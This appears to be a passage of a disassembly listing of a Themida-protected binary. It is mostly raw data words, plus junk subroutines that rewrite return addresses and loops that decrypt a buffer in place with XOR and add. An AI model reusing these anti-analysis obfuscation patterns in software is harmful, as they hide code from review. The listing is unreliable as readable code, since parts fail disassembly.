		dd 44810424h, 1A0424h, 51410000h, 3324F9C3h, 85E6CCBDh
		dd 0B5FF5CB3h, 7D4EA5Ah, 0FF48F780h, 0D131A595h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 89F46FB5h, 0FAFAC8C3h, 0EA4EB58Bh, 858B07D4h, 7D12B31h
		dd 0ADD3BB66h, 0C48689h, 0BF660000h, 0BD8B378Fh, 7D12049h
		dd 1B51958Bh, 850F07D1h, 6, 2BFDBD89h, 0C28307D1h, 57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0A8ED6DB3h, 891A1648h, 0D12D8D8Dh, 20508907h, 0EF80DF8Bh
		dd 0E5858DEBh, 6A07D4FEh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 3BBAC350h, 0BE18FB1Fh
		dd 41858960h, 0F07D122h, 687h, 89B58B00h, 6107D105h, 0B88689h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 6B4BC4C3h, 5395D2DCh, 0F0DB8166h,	74BB5FCFh
		dd 6A05955Eh, 719D8900h, 0FF07D125h, 0D4EA5AB5h, 0FABF0F07h
		dd 1DE995FFh, 8D8907D1h, 7D132FDh, 8B665150h, 34895FFAh
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0BDE33156h, 7D40E9BCh, 12E912h, 0E0180000h
		dd 66A36B90h, 3F8653FCh, 0EE9E0B00h, 8A440664h,	0EA5AB5FFh
		dd 0CDB707D4h, 2D9D95FFh, 6A07D1h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0F9591FC3h, 718D01E1h
		dd 8307D131h, 0D12809BDh, 840F0007h, 32h, 0AAF1F781h, 8B60721Ah
		dd 0D12D8185h, 6820F07h, 81000000h, 25323CD0h, 50506175h
		dd 0DBF6652h, 66310F5Fh, 5A0711BBh, 24348958h, 23299589h
		dd 0B5FF07D1h, 7D4EA5Ah, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 16h, 5CC35242h, 95FF9C07h,	7D132B5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 76C35747h, 0E8CDC3FCh
		dd 10h,	0DB6DC96Eh, 43C82265h, 280B7AC8h, 0FB2EA594h, 2D51B531h
		dd 0B75F07D1h, 5AB5FFFBh, 2907D4EAh, 0D1006DBDh, 995FF07h
		dd 6A07D127h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 64A4C351h, 0C06F4194h,	0BD83D88Bh
		dd 7D10FC1h, 57840F02h,	66000000h, 8BC092BFh, 0D11E2585h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 9DB09DAAh, 89D2DECEh, 0D12ED595h, 0C607h
		dd 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 1FC35545h, 0BC63F9Ch
		dd 85C722B4h, 7D122CDh,	0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5DAEAF
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DAEAF	proc near		; CODE XREF: Themida_:005DAEA7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5DAEAF	endp

; ---------------------------------------------------------------------------
		db 7Bh
		dd 0CFDEF5DEh, 7ACE21E0h, 0F2F0E9D1h, 0ABBBFFFFh, 8B4976C5h
		dd 69BD29C1h, 8D07D127h, 0D1136185h, 50006A07h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 9589D23Ch
		dd 7D122D1h, 0DDF9BB50h, 489387Ah, 0B4E6BF24h, 6A0D9Ch
		dd 0CE9h, 55512400h, 20E2BF3Ah,	0A8C64A40h, 0B98589DBh
		dd 6A07D132h, 7E900h, 0E3C80000h, 0D8E835CAh, 0BD858DEFh
		dd 8B07D64Ah, 0D10749BDh, 0AE907h, 0A7640000h, 4828CF16h
		dd 5B506896h, 8B05C083h, 0D127FDBDh, 4895007h, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 72C09650h, 2D65EC16h, 6850Fh, 0BD0B0000h, 7D10C85h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 6EF82CC3h, 6133A8h, 113B7DDh, 0D1092595h
		dd 6A006A07h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0CD16C351h, 90B7BE17h,	1DE195FFh
		dd 6A07D1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0BA3FA0C3h, 0F914460Fh, 0A850F96h, 60000000h
		dd 1751B501h, 616007D1h, 668D8D61h, 6A07D4D5h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 7FFAC356h, 0B17CCD8Dh, 826CCF1Ah, 0FFF9BF0Fh, 0B800FD1h
		dd 0F000000h, 58Fh, 0C3816600h,	0BD83BB99h, 7D11715h, 94850F01h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 74C9C351h, 0D56BE220h,	6ADF8B66h
		dd 50006A02h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 975EE11h, 0D105B1BDh, 0AE907h, 6EA40000h
		dd 0D56F3C9Ch, 974E75F9h, 0C0E4BB50h, 48966EDh,	7D858924h
		dd 0FF07D12Eh, 0D11DE995h, 0EE807h, 0A6C90000h,	1A5711D1h
		dd 0AE810AB5h, 7E32E9CEh, 19B1BD2Bh, 0F5F07D1h,	687h, 0BDB58900h
		dd 0E907D106h, 0DD4h, 0E8h, 0ED815D00h,	7D64AC7h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0B7C35747h, 5858C49Ah
		dd 23919D31h, 858D07D1h, 7D4BC77h, 7E890h, 0E00B0000h
		dd 3390188Dh, 148A0FE9h, 0E9000000h, 0Fh, 0DFBB4B74h, 4EFC1321h
		dd 0E5BC59B8h, 5FF76AAEh, 69DBBF50h, 8B90601Ch,	0D122E19Dh
		dd 35FF6407h, 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+7D117A1h]
		mov	large fs:0, esp
		push	0
		push	ecx
		call	sub_5DB18C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DB18C	proc near		; CODE XREF: Themida_:005DB184p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5DB18C	endp

; ---------------------------------------------------------------------------
		dd 0FFBC78ACh, 0D1292185h, 8B515607h, 0D11149BDh, 6A5F5F07h
		dd 83BF66FFh, 49B5FF0Fh, 0E807D100h, 0Dh, 0D692D4B6h, 65CF097Ah
		dd 469801EEh, 9D8B605Fh, 7D12545h, 12E8h, 71CC5600h, 3A4FD661h
		dd 7BF266C1h, 6099FDBFh, 5EE01078h, 95FF5F61h, 7D1141Dh
		dd 0FCE9h, 0FA8B6600h, 9D8B00B0h, 7D11D41h, 850F70E6h
		dd 12h,	0DE9h, 90F3CC00h, 0C100D504h, 0D51E7EECh, 71E4D822h
		dd 613CDE8Ah, 0CB830Fh,	9D0B0000h, 7D12A21h, 0B3C8B60Fh
		dd 6BA53h, 0BB660000h, 0C18B0725h, 1875BD8Bh, 0E8C107D1h
		dd 0EE96004h, 0F8000000h, 31D1C6C5h, 41353DE4h,	6DBC213Eh
		dd 0D2A0BA70h, 6661417Ch, 8951E2F7h, 0D11D5995h, 0C82B5F07h
		dd 0E9D18BF9h, 7Dh, 11E8h, 3AFCFF00h, 0CCA95BF0h, 9DB51B2h
		dd 8A0CC40Eh, 8B602E81h, 880FC7h, 61000000h, 49858B5Bh
		dd 8344004Eh, 9D8B07C0h, 7D130C9h, 8100C083h, 3EEDF2EBh
		dd 0F1BD895Ah, 3B07D116h, 0A830FD0h, 8B000000h,	2FE9F9h
		dd 0BF0F0000h, 0FF8D8BF9h, 66FFFFFFh, 0E183DF8Bh, 1A840F01h
		dd 66000000h, 0A583DF8Bh, 0FFFFFFFFh, 895F51FEh, 4E4995h
		dd 0D9B70F44h, 0E9h, 90B58D00h,	0BB07D5CBh, 1704A70Fh
		dd 0BD8B006Ah, 7D10889h, 5595FFh, 6A07D1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 9D8949C3h
		dd 7D114D9h, 27018D89h,	4DB907D1h, 6A00000Fh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0BCDBC355h, 138A0FEFh, 0E9000000h, 0Eh, 67AE5D0h, 70AB3802h
		dd 9E2BA430h, 9D89018Eh, 7D12155h, 6AFCE183h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 421DC356h, 12E87F04h, 0C8000000h, 0A170A254h, 0BC99E188h
		dd 0F02986A5h, 0AEAC62D0h, 71B53153h, 5B07D114h, 0BCF5F381h
		dd 6AFC2AC7h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0A77C351h, 41D814Bh, 0F1BD8B80h
		dd 907D122h, 0D120D19Dh, 0EB816607h, 0C02B1CFCh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0B5C35343h, 0E20B6479h
		dd 0BAF8B4h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0C395C353h,	64D7BDF4h
		dd 840FD9h, 89000000h, 0D10F4DB5h, 0C233AD07h, 0D003E8D1h
		dd 7504E983h, 51006AF4h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 29BD8B1Dh, 0D07D132h, 88h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0ABC35545h, 290DB52Fh
		dd 0D1086D95h, 51958B07h, 907D11Bh, 0D10F8595h,	558D8B07h
		dd 2907D12Dh, 0D10205B5h, 0C28B5007h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 8958188Bh, 0D121B185h, 75BD8B07h, 0F507D11Ah
		dd 10E9h, 0A4FB0B00h, 3F46F8D4h, 0B06C45C0h, 0D7363A92h
		dd 0C5BD83B7h, 7D11Bh, 74840Fh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0A032C3C3h
		dd 9BB6642h, 8D9D8B21h,	0B807D12Dh, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5DB533
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DB533	proc near		; CODE XREF: Themida_:005DB52Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5DB533	endp

; ---------------------------------------------------------------------------
		db 0ECh
		dd 3094F54Ch, 840F58h, 29000000h, 0D128618Dh, 0A8D8D07h
		dd 6607D14Dh, 0A52DDF81h, 820FE1FFh, 6,	98A9D381h, 0BD837F96h
		dd 7D11D39h, 9C840F00h,	6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0F138C351h
		dd 537F2047h, 39BD83DBh, 107D11Dh, 488840Fh, 0BD8B0000h
		dd 7D12755h, 1D39BD83h,	0F0307D1h, 43F86h, 0F59D8B00h
		dd 6007D115h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 18h,	0F4C35747h, 0E787E3Eh, 58C0Fh, 81660000h, 663B2CDBh
		dd 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0ABBBB7C3h, 8BB57315h, 4E180FBh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1C35747h, 546BA3DEh
		dd 9D8BD927h, 7D12CC5h,	840FC90Ah, 193h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 2AC35343h, 60562351h
		dd 2AA5B533h, 0BD3307D1h, 7D121C9h, 0F5858B61h,	6A07D128h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 66DFC355h, 0DCF81A30h, 89317E29h,	0D12F3D85h
		dd 0CD853307h, 6A07D131h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 96F4C356h, 5250907Ch
		dd 5F5F5151h, 0B760310Fh, 585A61D3h, 0FA8B6650h, 50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 6AD2CEh, 4E8h, 1F03FF00h, 0D98B6600h, 24448B50h, 14E804h
		dd 59830000h, 56C58865h, 9CA44304h, 615CFA72h, 8B43F9DBh
		dd 0B3530DE0h, 8B5B5B8Ah, 24448900h, 8B665304h,	6A585BF9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0CAC2C357h, 9241F9Eh, 85A48A41h, 0F5C78166h
		dd 1595FF3Ch, 6A07D12Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 247FC356h, 0D98B6E69h
		dd 1DDBD8Bh, 858907D1h,	7D4EA5Ah, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 72C35747h, 0E9883C67h, 1D3h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0E3C35343h
		dd 659D0355h, 8B07D134h, 0D4EA5285h, 11E907h, 0CDC80000h
		dd 0DD275809h, 8B90C004h, 4CD3E35Fh, 0C7F22F12h, 1800h
		dd 0E807B700h, 5, 49E80C62h, 0C38166C6h, 8B5BF5C1h, 0D4EA56B5h
		dd 747CBF07h, 858B215Fh, 7D10C9Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 9BC35646h, 16059D8Bh, 68907D1h
		dd 858BFE8Bh, 7D128F5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 4EC35242h, 4689F979h,	57006A04h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 0BFD7D903h, 5A256636h, 0CE996h, 9C980000h, 3031826h
		dd 54B0DEFCh, 9650CDAAh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0C4C35545h, 0B66D5272h, 0AA0DF537h, 32E1B589h
		dd 0AE907D1h, 18000000h, 66D839C8h, 6421D6ABh, 0DB816673h
		dd 0B5FFA73Ah, 7D4EA52h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 4CC35545h, 8E804h, 0F73F0000h, 2ECCE5EAh
		dd 26BF5BFCh, 5B206CF6h, 425B4268h, 2434815Ch, 5C5D58BDh
		dd 4830Fh, 0BB660000h, 0BD29C723h, 7D12D21h, 0EA5A858Dh
		dd 890F07D4h, 0
		db 90h
; ---------------------------------------------------------------------------
		mov	di, 84D4h
		push	eax
		jmp	loc_5DB95F
; ---------------------------------------------------------------------------
		db 49h
		dd 0EEDEB2D3h, 0C86F19A4h, 73FD89E6h, 9C5ECE1Dh
		db 4Ch,	85h, 99h
; ---------------------------------------------------------------------------


loc_5DB95F:				; CODE XREF: Themida_:005DB946j
		nop
		mov	[ebp+7D115F5h],	edi
		call	dword ptr [ebp+7D12B15h]
		push	0
		push	ecx
		call	sub_5DB977
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DB977	proc near		; CODE XREF: Themida_:005DB96Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5DB977	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebx
		psubw	mm7, mm1
		popa
		mov	bl, cl
		mov	dword ptr [ebp+7D11D39h], 3
		mov	[ebp+7D116F1h],	ecx
		jo	loc_5DB9AF
		pusha
		mov	[ebp+7D117E5h],	eax
		add	al, 42h
		popa


loc_5DB9AF:				; CODE XREF: Themida_:005DB99Ej
		cmp	dword ptr [ebp+7D4EA5Ah], 0
		jz	loc_5DB9FC
		mov	[ebp+7D11931h],	ecx
		jmp	loc_5DBA17
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5DB9D2
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DB9D2	proc near		; CODE XREF: Themida_:005DB9CAp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5DB9D2	endp

; ---------------------------------------------------------------------------
		dw 5FD5h
		dd 197A46CDh, 7BA36E75h, 5850Fh, 0D8BB0000h, 667A7224h
		dd 0DA8FC381h
; ---------------------------------------------------------------------------


loc_5DB9FC:				; CODE XREF: Themida_:005DB9B6j
					; Themida_:005DBA13j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5DB9FC
		jmp	short loc_5DBA4D
; ---------------------------------------------------------------------------


loc_5DBA17:				; CODE XREF: Themida_:005DB9C2j
					; Themida_:005DBA2Ej
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5DBA17
		jmp	short loc_5DBA4D
; ---------------------------------------------------------------------------


loc_5DBA32:				; CODE XREF: Themida_:005DBA49j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5DBA32
		jmp	short $+2


loc_5DBA4D:				; CODE XREF: Themida_:005DBA15j
					; Themida_:005DBA30j
		mov	eax, eax
		push	0
		push	esi
		call	sub_5DBA5A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DBA5A	proc near		; CODE XREF: Themida_:005DBA52p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5DBA5A	endp

; ---------------------------------------------------------------------------
		mov	dword ptr [eax], 0F41BD23h
		rol	dword ptr [edi], 1
		mov	edi, [ebp+7D1310Dh]
		pusha
		mov	eax, [ebp+7D13051h]
		movzx	ebx, cx
		popa
		jmp	loc_5DBA93
; ---------------------------------------------------------------------------
		dd 8DAB538Fh, 5CD9A641h
		db 0Eh,	41h, 21h
; ---------------------------------------------------------------------------


loc_5DBA93:				; CODE XREF: Themida_:005DBA83j
		call	near ptr loc_5DBA9B+4
		stosb
		jnp	short loc_5DBAD2


loc_5DBA9B:				; CODE XREF: Themida_:loc_5DBA93p
		mov	al, ds:5F41B011h
		cmp	dword ptr [ebp+7D11D39h], 3
		jnz	loc_5DBE88
		push	0
		push	ecx
		call	sub_5DBAB8
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DBAB8	proc near		; CODE XREF: Themida_:005DBAB0p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5DBAB8	endp

; ---------------------------------------------------------------------------
		dd 9314D0D2h, 8B66F9B7h
		db 0FEh, 83h
; ---------------------------------------------------------------------------


loc_5DBAD2:				; CODE XREF: Themida_:005DBA99j
		mov	ebp, 7D4EA5Ah
		add	[edi], cl
		test	[edx+0F000003h], ch
		mov	edi, 5AB5FFDAh
		jmp	far ptr	0:0AE807D4h
; ---------------------------------------------------------------------------
		align 4
		dd 3802067Ah, 0A43070ABh, 0BD039E2Bh, 7D115D9h,	0B195FF5Bh
		dd 6A07D12Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0E705C357h, 0BD23E276h, 7D11421h
		dd 0B58BFE8Bh, 7D4EA4Eh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 54C35747h, 67EC9877h,	1C28E3C6h, 106C7A7h
		dd 50000100h, 87A7B9BBh, 24348920h, 31BD8Bh, 0B50107D1h
		dd 7D11F79h, 0EA5AB5FFh, 9D2907D4h, 7D128A9h, 0F527E381h
		dd 95FF1ABBh, 7D131A5h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0C8C35141h, 4EB58B50h, 2B07D4EAh, 0D128719Dh
		dd 31858B07h, 6A07D12Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 372CC350h, 711B1F9Bh
		dd 13A7796h, 0D11FFD95h, 0C4868907h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 4FCFC350h, 2DB8B21Dh, 0FC59D0Bh, 958B07D1h, 7D11B51h
		dd 22D59D29h, 0C28307D1h, 50006A04h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 86E82363h
		dd 781A80BFh, 20508919h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 6AC35646h, 0BD8B009Bh, 7D10091h, 0FEE5858Dh
		dd 0BF0F07D4h, 0B88689D9h, 6A000000h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 6963C355h
		dd 0FE41F5E3h, 2C499D8Bh, 6A07D1h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 7EC35141h, 79DBE17Ah, 15E99D89h
		dd 0B5FF07D1h, 7D4EA5Ah, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 9EC35545h, 13E922h, 0A0F0000h, 2914F6F3h
		dd 0BAC7CDC6h, 8D62A347h, 4420C612h, 0F59D8BFCh, 0F07D121h
		dd 685h, 33CB8100h, 0FF2A33E6h,	0D11DE995h, 73E78107h
		dd 506BD19Ah, 52243489h, 6860Fh, 810F0000h, 0
; ---------------------------------------------------------------------------
		pop	edi
		push	dword ptr [ebp+7D4EA5Ah]
		movsx	edi, dx
		call	dword ptr [ebp+7D12D9Dh]
		push	0
		push	edi
		call	sub_5DBD4B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DBD4B	proc near		; CODE XREF: Themida_:005DBD43p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5DBD4B	endp

; ---------------------------------------------------------------------------
		db 9Bh
		dd 9BD83C5h, 7D128h, 2B840Fh, 0BF0F0000h, 8B6696DBh, 525050FBh
		dd 0B960310Fh, 426A2207h, 0AE9h, 0DA48FC00h, 0E6126DF6h
		dd 615ADC73h, 3396585Ah, 0D10C759Dh, 5AB5FF07h,	8B07D4EAh
		dd 0D10289BDh, 0B595FF07h, 6A07D132h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 1EECC355h
		dd 0D6ED1B7Bh, 0BBBFCA63h, 0FF68F7D9h, 0D4EA5AB5h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 7902A16Ah, 7987210Bh, 3850F26h, 66000000h, 95FFFE8Bh
		dd 7D12709h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	78C35646h, 28B18589h, 0BD8307D1h, 7D10FC1h, 42840F02h
		dd 0E9000000h, 0Dh, 77C700ABh, 73B01335h, 6B61CC66h, 25858B82h
		dd 8B07D11Eh, 0D1235D9Dh, 0C607h, 13890F60h, 0E9000000h
		dd 0Eh,	95725916h, 43B6D1C5h, 2458401Eh, 0B58B1D60h, 7D105D9h
		dd 0CD85C761h, 7D122h, 0BF000000h, 543F69E3h
; ---------------------------------------------------------------------------


loc_5DBE88:				; CODE XREF: Themida_:005DBAA7j
		jmp	near ptr dword_5DB19C+13h
; ---------------------------------------------------------------------------
		stc
		mov	eax, ecx
		push	0
		push	edi
		call	sub_5DBE9B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DBE9B	proc near		; CODE XREF: Themida_:005DBE93p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5DBE9B	endp

; ---------------------------------------------------------------------------
		rol	dword ptr [eax-26746515h], 1
		call	sub_5DBEC3
		retf
; ---------------------------------------------------------------------------
		db 0Ch
		dd 5E78AEE3h, 0B0162E06h
		db 1Ch,	0AFh, 8Dh

; =============== S U B	R O U T	I N E =======================================



sub_5DBEC3	proc near		; CODE XREF: Themida_:005DBEB1p
		call	near ptr loc_5DBECB+4
		fnop
		xchg	eax, ebp


loc_5DBECB:				; CODE XREF: sub_5DBEC3p
		fisttp	dword ptr [ebp-187F7D0Fh]
sub_5DBEC3	endp ; sp-analysis failed

		retf	5B5Fh
; ---------------------------------------------------------------------------
		lea	eax, [ebp+7D11361h]
		xor	edi, 3FF0236Ch
		push	eax
		mov	[esp], eax
		and	di, 49C7h
		push	0
		push	0
		push	edi
		call	sub_5DBEF6
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DBEF6	proc near		; CODE XREF: Themida_:005DBEEEp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5DBEF6	endp

; ---------------------------------------------------------------------------
		dw 0DC40h
		dd 8970E691h, 0D11F6D95h, 459D8B07h, 6A07D118h,	0D2BF6600h
		dd 3E858D80h, 8B07D65Ah, 0D128399Dh, 5C08307h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 81C35242h, 1205DE8Bh
		dd 50A59F0Eh, 0FE8h, 0ADDE6300h, 39E9B783h, 362AFC8Fh
		dd 65BA1DC7h, 5BF88B66h, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 7E63C351h
		dd 8B03BACBh, 0D11799BDh, 0F006A07h, 6AFBB7h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 69C35747h, 0F7E7EC18h
		dd 557B222h, 7C3CBF66h,	1DE195FFh, 8D8D07D1h, 7D4D566h
		dd 890Fh, 0D1FF0000h, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 1Ah, 0A2C35343h, 38D97A06h, 0EE9D9C8h, 0A5000000h
		dd 813F8D91h, 17D2F689h, 39548BDh, 85BD8BAEh, 8307D12Dh
		dd 0D11715BDh, 850F0107h, 60h, 11C474BBh, 6A026A7Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 21DBC352h, 0C040F637h, 4911BB66h, 7E96050h, 6000000h
		dd 0E303382Ah, 0E8579597h, 0Ah,	7EBC3C5Bh, 0C45F566Eh
		dd 5A59D18Fh, 24048961h, 48B0Fh, 0BB660000h, 95FF8D95h
		dd 7D11DE9h, 0DBBE9h, 0E800h, 815D0000h, 0D65A48EDh, 0EE807h
		dd 0EAE70000h, 3E20835h, 822B580Dh, 7CF68B79h, 0BE9h, 3D0EE000h
		dd 7F9AE827h, 559D016Dh, 53006A5Fh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0BD8949B6h, 7D11799h
		dd 0BC77858Dh, 0DE807D4h, 3D000000h, 0D4C8CD01h, 5255B9FCh
		dd 6FF7AA06h, 905BF7B3h, 0D5D5BB53h, 505B15BBh,	5BEDB752h
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8049124Eh, 0FF6428CBh, 35h, 40BB5200h, 5B7CFD34h
		dd 35C9CB81h, 8964604Eh, 25h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 4D2748DFh
		dd 8BDD88EDh, 2185FFFAh, 0E807D129h, 0Ch, 0F3D7522Ch, 5B24E14Dh
		dd 3EF53EADh, 457ADB81h, 6A5F2C65h, 998D89FFh, 0FF07D100h
		dd 0D12DC1B5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 2C8806A0h, 0E9B3DFBDh
		dd 9, 0E4B11E02h, 0BEAAC7BDh, 1D95FF2Bh, 0E907D114h, 115h
		dd 0B0FE8B66h, 6DB52900h, 0E607D134h, 0DFBF0F70h, 810F71E4h
		dd 5, 0A273EBBFh, 0F613C0Bh, 0F083h, 81665600h,	5B7C75EBh
		dd 0C8B60FF5h, 13D18531h, 6BA07D1h, 8B000000h, 0B99D8BC1h
